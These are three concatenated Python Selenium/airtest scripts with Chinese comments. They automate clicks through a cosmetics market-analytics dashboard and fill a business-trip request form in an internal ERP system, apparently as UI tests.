from selenium import webdriver from airtest_selenium.proxy import WebChrome from time import sleep options = webdriver.chrome.options.Options() options.add_experimental_option("debuggerAddress", "127.0.0.1:9222") driver = WebChrome(chrome_options=options) driver.implicitly_wait(20) driver.get("http://td2.qingbaomofang.com/dashboard/market") sleep(1) #打开宝贝列表 driver.find_element_by_xpath( "/html/body/div[2]/div/div/div/div/div/ul/div/li[5]/div/span").click() sleep(1) driver.find_element_by_xpath( "/html/body/div[2]/div/div/div/div/div/ul/div/li[5]/ul/li/ul/li/span" ).click() sleep(5) #社媒流量分析 driver.find_element_by_xpath( "//a[@title='完美日记动物眼影盘锦鲤小狗小猫猫咪老虎斑虎小猪熊猫小鹿盘女']").click() sleep(1) driver.find_element_by_xpath( "/html/body/div[2]/div[2]/div[2]/div/div[3]/div/div/a[4]").click() sleep(1) #时间选择 driver.find_element_by_xpath("//input[@placeholder='选择日期']").click() sleep(1) driver.find_element_by_xpath( "/html/body/div[3]/div/div/div[2]/table/tbody/tr[2]/td[5]/div/span").click( )
import unittest from selenium import webdriver from airtest_selenium.proxy import WebChrome from time import sleep options = webdriver.chrome.options.Options() options.add_experimental_option("debuggerAddress", "127.0.0.1:9222") driver = WebChrome(chrome_options=options) driver.implicitly_wait(20) driver.get("http://td2.qingbaomofang.com/dashboard/market") sleep(1) # 关注列表 driver.find_element_by_xpath( "/html/body/div[2]/div/div/div/div/div/ul/div/li[4]/div").click() sleep(1) driver.find_element_by_xpath( "/html/body/div[2]/div/div/div/div/div/ul/div/li[4]/ul/li/ul/li/span" ).click() sleep(5) class Assert_test(unittest.TestCase): # 打开店铺详情 driver.find_element_by_xpath("//a[@title='perfectdiary旗舰店']").click() # 按月 driver.find_element_by_xpath( "/html/body/div[2]/div[2]/div[2]/div/div[3]/div[2]/div/div[1]/div/div[1]/div[1]/div[3]/div[1]/span" ).click() sleep(1) driver.find_element_by_xpath("/html/body/ul/li[2]").click()
from common import common from airtest.core.api import * from selenium import webdriver from selenium.webdriver.common.keys import Keys from airtest_selenium.proxy import WebChrome # 加载驱动 driver = WebChrome() driver.implicitly_wait(20) driver.get("http://14.21.59.70:1000/") driver.maximize_window() #放大浏览器 # 登录黄振旭 common.login(driver, "huangzhenxu") driver.find_element_by_xpath( "//*[@id=\"app\"]/div/div/div[2]/div/div/ul/div[2]/li/ul/div/a/li/span" ).click() driver.assert_template( Template(r"tpl1594806824724.png", record_pos=(10.395, 1.93), resolution=(100, 100)), "进入出差申请单") driver.airtest_touch( Template(r"tpl1594806856010.png", record_pos=(10.62, 2.76), resolution=(100, 100))) driver.assert_template( Template(r"tpl1594806903770.png", record_pos=(11.045, 2.605), resolution=(100, 100)), "进入新增出差申请单界面") driver.find_element_by_xpath( "//*[@id=\"erp_cmbTRAVEL_FROM_PLACE\"]/div/div/input").click()